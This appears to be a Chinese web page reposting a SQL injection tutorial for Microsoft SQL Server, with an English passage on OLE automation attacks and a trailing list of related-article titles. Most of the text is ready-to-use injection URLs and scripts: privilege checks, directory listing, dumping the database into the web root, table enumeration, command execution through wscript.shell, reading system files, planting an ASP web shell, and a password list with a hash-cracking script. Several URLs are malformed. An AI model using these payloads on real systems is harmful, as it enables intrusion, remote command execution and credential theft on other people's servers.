语句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--

语句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--

语句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_MEMBER('db_owner'));--

把路径写到表中去:

http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)-

http://http://www.xxxxx.com/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree 'c:\'-

http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))-

语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--

语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:\web'--

语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)-

把数据库备份到网页目录:下载

http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:\web\down.bak';--

and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20T%20order%20by%20id%20desc)

and%201=(select%20Top%201%20col_name(object_id('USER_LOGIN'),1)%20from%20sysobjects) 参看相关表。

and 1=(select%20user_id%20from%20USER_LOGIN)

and%200=(select%20user%20from%20USER_LOGIN%20where%20user>1)

……………………………………………………

-- wscript.shell example

declare @o int

exec sp_oacreate 'wscript.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

It could be run in our sample scenario by specifying the following username (all on one line):

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--

2) This example uses the 'scripting.filesystemobject' object to read a known text file:

-- scripting.filesystemobject example - read a known file

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1

exec @ret = sp_oamethod @f, 'readline', @line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f, 'readline', @line out

end

3) This example creates an ASP script that will run any command passed to it in the querystring:

-- scripting.filesystemobject example - create a 'run this' .asp file

declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1

exec @ret = sp_oamethod @f, 'writeline', NULL,

'<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>'

It is important to note that when running on a Windows NT4, IIS4 platform, commands issued by this ASP script will run as the 'system' account. In IIS5, however, they will run as the low-privileged IWAM_xxx account.

4) This (somewhat spurious) example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak: Page 16

declare @o int, @ret int

exec sp_oacreate 'speech.voicetext', @o out

exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'

exec sp_oasetproperty @o, 'speed', 150

exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528

waitfor delay '00:00:05'

This could of course be run in our example scenario, by specifying the following 'username' (note that the example is not only injecting a script, but simultaneously logging in to the application as 'admin'):

Username: admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'--



常用密码和相关语句:

password

sqlserver

sql

admin

sesame

sa

guest

Here is the script:

(sqlcrack.sql)

create table tempdb..passwords( pwd varchar(255) )

bulk insert tempdb..passwords from 'c:\temp\passwords.txt'

select name, pwd from tempdb..passwords inner join sysxlogins

on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)

union select name, name from sysxlogins where

(pwdcompare( name, sysxlogins.password, 0 ) = 1)

union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid

where sysxlogins.password is null and

syslogins.isntgroup=0 and

syslogins.isntuser=0

drop table tempdb..passwords

最详细SQL注入教程相关推荐

  1. 【sql注入教程】SQL注入是什么?我们如何去玩转它

    [sql注入教程]SQL注入是什么?我们如何去玩转它 本文转自:i春秋社区   SQL注入攻击是黑客攻击数据库最常见手段之一.简单讲,SQL注入攻击是黑客利用网站程序漏洞,通过提交精心构造的SQL语句 ...

  2. SQL 注入教程:通过示例学习

    数据是信息系统最重要的组成部分之一.组织使用数据库驱动的 Web 应用程序从客户那里获取数据.SQL是结构化查询语言的首字母缩写.它用于检索和操作数据库中的数据. 什么是 SQL 注入? SQL 注入 ...

  3. 史上最详细sql注入wp

    文章目录 sql注入wp(史上最详细) 前言 什么是SQL注入? SQL注入的原理 常见的注入方式 常见绕过技巧 常见防控SQL注入的方法 手工查询语句 Basic Challenges Less-1 ...

  4. web 漏洞入门之 —— SQL 注入教程

    SQL 注入是最常见.最被人们熟知的 web 漏洞.根据百科的解释:所谓SQL注入,就是通过把SQL命令,插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. ...

  5. php sql注入教程,SQL注入

    如果需要通过网页需要用户输入的数据并将其插入到一个SQL数据库,可能会留下敞开称为SQL注入安全问题. 这一课将教你如何防止这种情况的发生,并帮助您保护服务器端脚本,如Perl脚本中使用的SQL语句. ...

  6. SQL注入教程——(一)SQL注入原理

    本系列文章将从SQL注入基础讲解,面向初学者,循序渐进. 如有不足,敬请指正. 前置技能 了解SQL语言.语法.操作.常用函数 (基本的SQL数据库操作是进行SQL注入攻击的基础) 了解PHP语言,以 ...

  7. SQL注入教程——(四)宽字节注入

    前言 在mysql中,用于转义(即在字符串中的符号前加上"\")的函数有addslashes,mysql_real_escape_string,mysql_escape_strin ...

  8. SQL注入教程——(三)简单的注入尝试

    本文将以简单的SQL注入实例来讲解SQL注入的基本思路与流程,当然本文实例只是注入的一种情况,初学者应重点理解思路,学会举一反三. GET与POST 进行SQL注入攻击,大家还需要了解两种基本的 HT ...

  9. SQL注入教程——(二)常用语法基础

    本文使用的数据库为hijack89 该数据库中存在名为user 的表 表中存在id.username.password 三个列 具体数据内容如下: 注意:该数据表第一条数据项为id为2,usernam ...

最新文章

  1. mfc removemenu 静态菜单 删除_循序渐进的升级,静态体验新款奥迪 A4L
  2. 这样的“牛”人,绝佳客户最好能多碰上上几个是我们当程序员的好运
  3. jquery 获取 id ,但是id 里面不能有. 这个符号
  4. BZOJ 1078: [SCOI2008]斜堆
  5. 小学生计算机基础知识课件,计算机基础知识课件(图表部份).ppt
  6. 个人免签支付接口二维码扫码支付
  7. html5 live,html5 audio livestreaming
  8. 如何解决安装佳能LBP2900驱动时总是提示无法识别USB连接(附带驱动程序下载地址)
  9. pythonplotting,Sympy and plotting
  10. 机器学习:CS 229 - Machine Learning - Supervised Learning cheatsheet
  11. SpringSecurity整合Redis实现单点登录及认证返回json数据
  12. FlowFormer: Transformer结构光流估计
  13. 前端导出多页pdf 带目录 页眉 页脚及页码
  14. MongoDB的学习-安装与springboot的整合
  15. HTML+CSS静态网页作业:NBA勒布朗詹姆斯篮球明星带js(5页)
  16. Camera Sensor
  17. TextView长按复制实现方法小结
  18. Android应用之个人日记本
  19. 呕心沥血梳理C++新标准超好用的新特性(实战必备)
  20. 陈大好:持续创造小而美的产品丨独立开发者 x 开放麦

热门文章

  1. 指针空值——nullptr
  2. 物理模型图-数据库图
  3. 关于线性调频Z变换(chirp-z transform)加速运算与逆变换
  4. 新冠肺炎CT图像识别
  5. Allegro技巧:删除dangling线
  6. python词云展示库——Wordcloud的安装
  7. html5 泡泡堂,HTML5 拖放 - 彩色泡泡糖的个人空间 - OSCHINA - 中文开源技术交流社区...
  8. c# 0x8007007e:找不到指定模块
  9. 产品设计之二:优化你的产品细节
  10. 【ES实战】索引的close